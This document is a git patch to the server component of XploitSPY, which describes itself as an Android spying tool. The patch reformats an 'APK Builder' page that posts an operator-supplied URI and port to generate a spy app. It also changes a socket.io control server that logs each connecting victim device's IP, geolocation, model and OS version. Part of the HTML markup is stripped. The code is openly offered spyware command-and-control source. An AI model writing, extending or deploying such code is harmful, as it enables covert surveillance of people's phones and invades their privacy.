From 46c997a55ff1724d6078da93b6c4ab644d41aa7e Mon Sep 17 00:00:00 2001 From: keerthimalan Date: Thu, 23 Apr 2020 11:58:58 +0530 Subject: [PATCH] Fix bug in APK Builder --- server/assets/views/builder.ejs | 184 ++++++++++++++++---------------- server/index.js | 89 ++++++++------- 2 files changed, 133 insertions(+), 140 deletions(-) diff --git a/server/assets/views/builder.ejs b/server/assets/views/builder.ejs index 94abcd4..e793bb2 100644 --- a/server/assets/views/builder.ejs +++ b/server/assets/views/builder.ejs @@ -1,107 +1,103 @@ - + + <% include partials/head.ejs %> -<% include partials/head.ejs %> + +
+ <% include partials/header.ejs %> <% include partials/disclaimer.ejs %> +
+
+
Submitting
+
- - -
- <% include partials/header.ejs %> - <% include partials/disclaimer.ejs %> -
- -
-
Submitting
-
- -

APK Builder

-
-
-
-
-
- http:// -
- -
-
- +
+
+
+ +
+
+
-
-
-
- -
-
-
+ +
+
+ - + - <% include partials/footer.ejs %> - + var loadingIndex = 0; + var isDone = false; + $('#gobuild').click((e) => { + $('#dimmer').addClass('active'); + build($('#uriInput').val(), '80'); + setTimeout(loaderText, 500); + }); + function loaderText() { + var nextTimeout = Math.floor(Math.random() * 1500) + 700; + if (loadingIndex < loadingTexts.length) $('#loadingText').text(loadingTexts[loadingIndex++]); + if (loadingIndex !== loadingTexts.length && !isDone) setTimeout(loaderText, nextTimeout); + else if (loadingIndex === loadingTexts.length && !isDone) setTimeout(loaderText, 300); + else + while (isDone) { + isDone = false; + $('#dimmer').fadeOut(500, () => { + $('#download').removeClass('active'); + }); + $('#form').fadeOut(500, () => { + $('#download').fadeIn(200); + }); + } + } + const build = async (URI, PORT) => { + let data = await $.post('/builder?uri=' + URI + '&port=' + PORT); + if (!data.error) isDone = true; + else showNotification('#f03434', data.error); + }; + + <% include partials/footer.ejs %> + diff --git a/server/index.js b/server/index.js index 1636ce8..d5ea66c 100644 --- a/server/index.js +++ b/server/index.js @@ -1,22 +1,21 @@ -/* +/* * XploitSPY * An Android Spying Tool * By Team XploitWizer */ - -const - express = require('express'), - app = express(), - server = require('http').createServer(app), - IO = require('socket.io')(server), - path = require('path'), - geoip = require('geoip-lite'), - CONST = require(path.join(__dirname,'/includes/const')), - db = require(path.join(__dirname,'/includes/databaseGateway')), - logManager = require(path.join(__dirname, '/includes/logManager')), - clientManager = new(require(path.join(__dirname, '/includes/clientManager')))(db), - apkBuilder = require(path.join(__dirname, '/includes/apkBuilder')) +const express = require('express'), + app = express(), + server = require('http').createServer(app), + IO = require('socket.io')(server), + path = require('path'), + geoip = require('geoip-lite'), + CONST = require(path.join(__dirname, '/includes/const')), + db = require(path.join(__dirname, '/includes/databaseGateway')), + logManager = require(path.join(__dirname, '/includes/logManager')), + clientManager = new (require(path.join(__dirname, '/includes/clientManager')))(db), + apkBuilder = require(path.join(__dirname, '/includes/apkBuilder')); +port = process.env.PORT || CONST.web_port; global.CONST = CONST; global.db = db; @@ -31,47 +30,45 @@ global.apkBuilder = apkBuilder; // client_io.sockets.pingInterval = 30000; IO.sockets.pingInterval = 30000; IO.on('connection', (socket) => { - socket.emit('welcome'); - let clientParams = socket.handshake.query; - let clientAddress = socket.request.connection; + socket.emit('welcome'); + let clientParams = socket.handshake.query; + let clientAddress = socket.request.connection; - let clientIP = clientAddress.remoteAddress.substring(clientAddress.remoteAddress.lastIndexOf(':') + 1); - let clientGeo = geoip.lookup(clientIP); - if (!clientGeo) clientGeo = {} + let clientIP = clientAddress.remoteAddress.substring(clientAddress.remoteAddress.lastIndexOf(':') + 1); + let clientGeo = geoip.lookup(clientIP); + if (!clientGeo) clientGeo = {}; - clientManager.clientConnect(socket, clientParams.id, { - clientIP, - clientGeo, - device: { - model: clientParams.model, - manufacture: clientParams.manf, - version: clientParams.release - } - }); + clientManager.clientConnect(socket, clientParams.id, { + clientIP, + clientGeo, + device: { + model: clientParams.model, + manufacture: clientParams.manf, + version: clientParams.release, + }, + }); - if (CONST.debug) { - var onevent = socket.onevent; - socket.onevent = function(packet) { - var args = packet.data || []; - onevent.call(this, packet); // original call - packet.data = ["*"].concat(args); - onevent.call(this, packet); // additional call to catch-all - }; - - socket.on("*", function(event, data) { - console.log(event); - console.log(data); - }); - } + if (CONST.debug) { + var onevent = socket.onevent; + socket.onevent = function (packet) { + var args = packet.data || []; + onevent.call(this, packet); // original call + packet.data = ['*'].concat(args); + onevent.call(this, packet); // additional call to catch-all + }; + socket.on('*', function (event, data) { + console.log(event); + console.log(data); + }); + } }); - // get the admin interface online // app.listen(CONST.web_port); -server.listen(process.env.PORT || CONST.web_port) +server.listen(port, () => console.log(`listening on port ${port}`)); app.set('view engine', 'ejs'); app.set('views', path.join(__dirname, '/assets/views')); app.use(express.static(__dirname + '/assets/webpublic')); -app.use(require(path.join(__dirname, '/includes/expressRoutes'))); \ No newline at end of file +app.use(require(path.join(__dirname, '/includes/expressRoutes')));